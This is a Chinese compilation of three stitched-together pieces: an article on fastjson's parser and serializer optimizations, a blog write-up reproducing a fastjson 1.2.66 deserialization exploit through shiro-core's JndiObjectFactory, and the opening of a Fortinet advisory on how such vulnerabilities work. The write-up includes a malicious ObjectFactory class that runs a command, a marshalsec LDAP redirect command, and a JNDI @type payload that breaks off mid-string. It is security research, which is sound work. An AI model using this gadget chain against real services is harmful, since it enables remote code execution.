fastjson的deserializer的主要优化算法 漏洞

JSON最佳实践 | kimmking's blog http://kimmking.github.io/2017/06/06/json-best-practice/

Fastjson内幕

Java综合 

JSON协议使用方便，越来越流行。JSON的处理器有很多，为什么需要再写一个呢？因为我们需要一个性能很好的JSON Parser，希望JSON Parser的性能有二进制协议一样好，比如和protobuf一样，这可不容易，但确实做到了。有人认为这从原理上就是不可能的，但是计算机乃实践科学，看实际的结果比原理推导更重要。 

这篇文章告诉大家： 
* Fastjson究竟有多快 
* 为什么Fastjson这么快 
* 你能用Fastjson来做什么！ 
* 如何获得fastjson？ 

首先，Fastjson究竟有多快？ 
我们看一下使用https://github.com/eishay/jvm-serializers/提供的程序进行测试得到的结果： 

	序列化时间	反序列化时间	大小	压缩后大小
java序列化	8654	43787	889	541
hessian	6725	10460	501	313
protobuf	2964	1745	239	149
thrift	3177	1949	349	197
avro	3520	1948	221	133
json-lib	45788	149741	485	263
jackson	3052	4161	503	271
fastjson	2595	1472	468	251

这是一个468bytes的JSON Bytes测试，从测试结果来看，无论序列化和反序列化，Fastjson超越了protobuf，可以当之无愧fast! 它比java deserialize快超过30多倍，比json-lib快100倍。由于Fastjson的存在，你可以放心使用json统一协议，达到文本协议的可维护性，二进制协议的性能。 

JSON处理主要包括两个部分，serialize和deserialize。serialize就是把Java对象变成JSON String或者JSON Bytes。Deserialize是把JSON String或者Json Bytes变成java对象。其实这个过程有些JSON库是分三部分的，json string <－-> json tree <－-> java object。Fastjson也支持这种转换方式，但是这种转换方式因为有多余的步骤，性能不好，不推荐使用。 

为什么Fastjson能够做到这么快？ 
一、Fastjson中Serialzie的优化实现 
1、自行编写类似StringBuilder的工具类SerializeWriter。 
把java对象序列化成json文本，是不可能使用字符串直接拼接的，因为这样性能很差。比字符串拼接更好的办法是使用java.lang.StringBuilder。StringBuilder虽然速度很好了，但还能够进一步提升性能的，fastjson中提供了一个类似StringBuilder的类com.alibaba.fastjson.serializer.SerializeWriter。 

SerializeWriter提供一些针对性的方法减少数组越界检查。例如public void writeIntAndChar(int i, char c) {}，这样的方法一次性把两个值写到buf中去，能够减少一次越界检查。目前SerializeWriter还有一些关键的方法能够减少越界检查的，我还没实现。也就是说，如果实现了，能够进一步提升serialize的性能。 

2、使用ThreadLocal来缓存buf。 
这个办法能够减少对象分配和gc，从而提升性能。SerializeWriter中包含了一个char[] buf，每序列化一次，都要做一次分配，使用ThreadLocal优化，能够提升性能。 

3、使用asm避免反射 
获取java bean的属性值，需要调用反射，fastjson引入了asm的来避免反射导致的开销。fastjson内置的asm是基于objectweb asm 3.3.1改造的，只保留必要的部分，fastjson asm部分不到1000行代码，引入了asm的同时不导致大小变大太多。 

使用一个特殊的IdentityHashMap优化性能。 
fastjson对每种类型使用一种serializer，于是就存在class -> JavaBeanSerizlier的映射。fastjson使用IdentityHashMap而不是HashMap，避免equals操作。我们知道HashMap的算法的transfer操作，并发时可能导致死循环，但是ConcurrentHashMap比HashMap系列会慢，因为其使用volatile和lock。fastjson自己实现了一个特别的IdentityHashMap，去掉transfer操作的IdentityHashMap，能够在并发时工作，但是不会导致死循环。 

5、缺省启用sort field输出 
json的object是一种key/value结构，正常的hashmap是无序的，fastjson缺省是排序输出的，这是为deserialize优化做准备。 

6、集成jdk实现的一些优化算法 
在优化fastjson的过程中，参考了jdk内部实现的算法，比如int to char[]算法等等。 

二、fastjson的deserializer的主要优化算法 
deserializer也称为parser或者decoder，fastjson在这方面投入的优化精力最多。 
1、读取token基于预测。 
所有的parser基本上都需要做词法处理，json也不例外。fastjson词法处理的时候，使用了基于预测的优化算法。比如key之后，最大的可能是冒号":"，value之后，可能是有两个，逗号","或者右括号"}"。在com.alibaba.fastjson.parser.JSONScanner中提供了这样的方法： 

public void nextToken(int expect) {
    for (;;) {
        switch (expect) {
            case JSONToken.COMMA: //
                if (ch == ',') {
                    token = JSONToken.COMMA;
                    ch = buf[++bp];
                    return;
                }

                if (ch == '}') {
                    token = JSONToken.RBRACE;
                    ch = buf[++bp];
                    return;
                }

                if (ch == ']') {
                    token = JSONToken.RBRACKET;
                    ch = buf[++bp];
                    return;
                }

                if (ch == EOI) {
                    token = JSONToken.EOF;
                    return;
                }
                break;
        // ... ...
    }
}

从上面摘抄下来的代码看，基于预测能够做更少的处理就能够读取到token。 

2、sort field fast match算法 
fastjson的serialize是按照key的顺序进行的，于是fastjson做deserializer时候，采用一种优化算法，就是假设key/value的内容是有序的，读取的时候只需要做key的匹配，而不需要把key从输入中读取出来。通过这个优化，使得fastjson在处理json文本的时候，少读取超过50%的token，这个是一个十分关键的优化算法。基于这个算法，使用asm实现，性能提升十分明显，超过300％的性能提升。 

{ "id" : 123, "name" : "魏加流", "salary" : 56789.79}
  ------      --------          ----------

在上面例子看，虚线标注的三个部分是key，如果key_id、key_name、key_salary这三个key是顺序的，就可以做优化处理，这三个key不需要被读取出来，只需要比较就可以了。 

这种算法分两种模式，一种是快速模式，一种是常规模式。快速模式是假定key是顺序的，能快速处理，如果发现不能够快速处理，则退回常规模式。保证性能的同时，不会影响功能。 

在这个例子中，常规模式需要处理13个token，快速模式只需要处理6个token。 

实现sort field fast match算法的代码在这个类[com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory|http://code.alibabatech.com/svn/fastjson/trunk/fastjson/src/main/java/com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory.java]，是使用asm针对每种类型的VO动态创建一个类实现的。 
这里是有一个用于演示sort field fast match算法的代码： 
http://code.alibabatech.com/svn/fastjson/trunk/fastjson/src/test/java/data/media/ImageDeserializer.java 

// 用于快速匹配的每个字段的前缀
char[] size_   = ""size":".toCharArray();
char[] uri_    = ""uri":".toCharArray();
char[] titile_ = ""title":".toCharArray();
char[] width_  = ""width":".toCharArray();
char[] height_ = ""height":".toCharArray();

// 保存parse开始时的lexer状态信息
int mark = lexer.getBufferPosition();
char mark_ch = lexer.getCurrent();
int mark_token = lexer.token();

int height = lexer.scanFieldInt(height_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
    // 退出快速模式, 进入常规模式
    lexer.reset(mark, mark_ch, mark_token);
    return (T) super.deserialze(parser, clazz);
}

String value = lexer.scanFieldString(size_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
    // 退出快速模式, 进入常规模式
    lexer.reset(mark, mark_ch, mark_token);
    return (T) super.deserialze(parser, clazz);
}
Size size = Size.valueOf(value);

// ... ...

// batch set
Image image = new Image();
image.setSize(size);
image.setUri(uri);
image.setTitle(title);
image.setWidth(width);
image.setHeight(height);

return (T) image;

3、使用asm避免反射 
deserialize的时候，会使用asm来构造对象，并且做batch set，也就是说合并连续调用多个setter方法，而不是分散调用，这个能够提升性能。 

4、对utf-8的json bytes，针对性使用优化的版本来转换编码。 
这个类是com.alibaba.fastjson.util.UTF8Decoder，来源于JDK中的UTF8Decoder，但是它使用ThreadLocal Cache Buffer，避免转换时分配char[]的开销。 
ThreadLocal Cache的实现是这个类com.alibaba.fastjson.util.ThreadLocalCache。第一次1k，如果不够，会增长，最多增长到128k。 

//代码摘抄自com.alibaba.fastjson.JSON
public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz,
                                      Feature... features) {
    charsetDecoder.reset();

    int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
    char[] chars = ThreadLocalCache.getChars(scaleLength); // 使用ThreadLocalCache，避免频繁分配内存

    ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
    CharBuffer charByte = CharBuffer.wrap(chars);
    IOUtils.decode(charsetDecoder, byteBuf, charByte);

    int position = charByte.position();

    return (T) parseObject(chars, position, clazz, features);
}

6、symbolTable算法。 
我们看xml或者javac的parser实现，经常会看到有一个这样的东西symbol table，它就是把一些经常使用的关键字缓存起来，在遍历char[]的时候，同时把hash计算好，通过这个hash值在hashtable中来获取缓存好的symbol，避免创建新的字符串对象。这种优化在fastjson里面用在key的读取，以及enum value的读取。这是也是parse性能优化的关键算法之一。 

以下是摘抄自JSONScanner类中的代码，这段代码用于读取类型为enum的value。 

int hash = 0;
for (;;) {
    ch = buf[index++];
    if (ch == '"') {
        bp = index;
        this.ch = ch = buf[bp];
        strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 通过symbolTable来获得缓存好的symbol，包括fieldName、enumValue
        break;
    }

    hash = 31 * hash + ch; // 在token scan的过程中计算好hash

    // ... ...
}

我们能用fastjson来作什么？ 
1、替换其他所有的json库，java世界里没有其他的json库能够和fastjson可相比了。 
2、使用fastjson的序列化和反序列化替换java serialize，java serialize不单性能慢，而且体制大。 
3、使用fastjson替换hessian，json协议和hessian协议大小差不多一样，而且fastjson性能优越，10倍于hessian 
4、把fastjson用于memached缓存对象数据。 


如何获得fastjson 
h3. 官方网站 
Fastjson是开源的，基于Apache 2.0协议。你可以在官方网站了解最新信息。 
http://code.alibabatech.com/wiki/display/FastJSON/Home 

maven用户 
* Maven仓库 http://code.alibabatech.com/mvn/releases/ 
{code} 
<dependency> 
     <groupId>com.alibaba</groupId> 
     <artifactId>fastjson</artifactId> 
     <version>1.1.2</version> 
</dependency> 
{code} 

 

 

 

https://mp.weixin.qq.com/s/O90M916ksZ_Jld9qtr9_-A

fastjson反序列化漏洞最新gadget-shiro-core

原创 帅气的Jumbo 中国白客联盟 2020-03-14

首先，这个漏洞需要开启autotype，属于黑名单的绕过。

 

fastjson反序列化漏洞具体原理就不多说了，可以简单理解为可以设置type调用任意类，并为其设置属性值。

 

看到360cert文章提到jackson-databind多了个新的黑名单，在shiro-core包中，但是poc打码了，因此我们来简单复现下。

 

我们利用maven下载fastjson最新版1.2.66和shiro-core

 

        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.66</version>        </dependency>

 

        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-core</artifactId>            <version>1.5.1</version>        </dependency>

 

然后我们在shiro-core包中寻找可能触发jndi注入的地方，一般咱们寻找lookup

 找到JndiObjectFactory

 尝试构造poc。

 

借助JNDI-Exploit-Bypass-Demo先写个简单的恶意类：

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.*;import java.util.Hashtable;
public class Exploit implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {        try {            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");        } catch (IOException e) {            e.printStackTrace();        }        return null;    }}

marshalsec开启监听：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#Exploit

把生成的Exploit.class放在8090端口下的web目录。

poc：

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127

 

 

 https://mp.weixin.qq.com/s/ctcFje4gxjHQnUUExY1eUw

威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南

Fortinet D-Team Fortinet防特网 2020-07-31

FastJson漏洞原理

通过Fastjson反序列化漏洞，攻击者可以传入一个恶意构造的JSON内容，程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数，进而导致代码执行。

那么，如何才能够反序列化出恶意类呢？

例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类，而Object又是任意类的父类，所以就可以反序列化出所有类。

接着，如何才能触发反序列化得到的恶意类中的恶意函数呢？

在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍，如果这三种方法中存在危险操作，则可能导致反序列化漏洞的存在。换句话说，就是攻击者传入要进行反序列化的类中的构造函数、getter方法、setter方法中要存在漏洞才能触发。

漏洞原理总结

• 若反序列化指定类型的类如“Student obj = JSON.parseObject(text, Student.class);”，该类本身的构造函数、setter方法、getter方法存在危险操作，则存在Fastjson反序列化漏洞；

• 若反序列化未指定类型的类如“Object obj = JSON.parseObject(text, Object.class);”，该若该类的子类的构造方法、setter方法、getter方法存在危险操作，则存在Fastjson反序列化漏洞。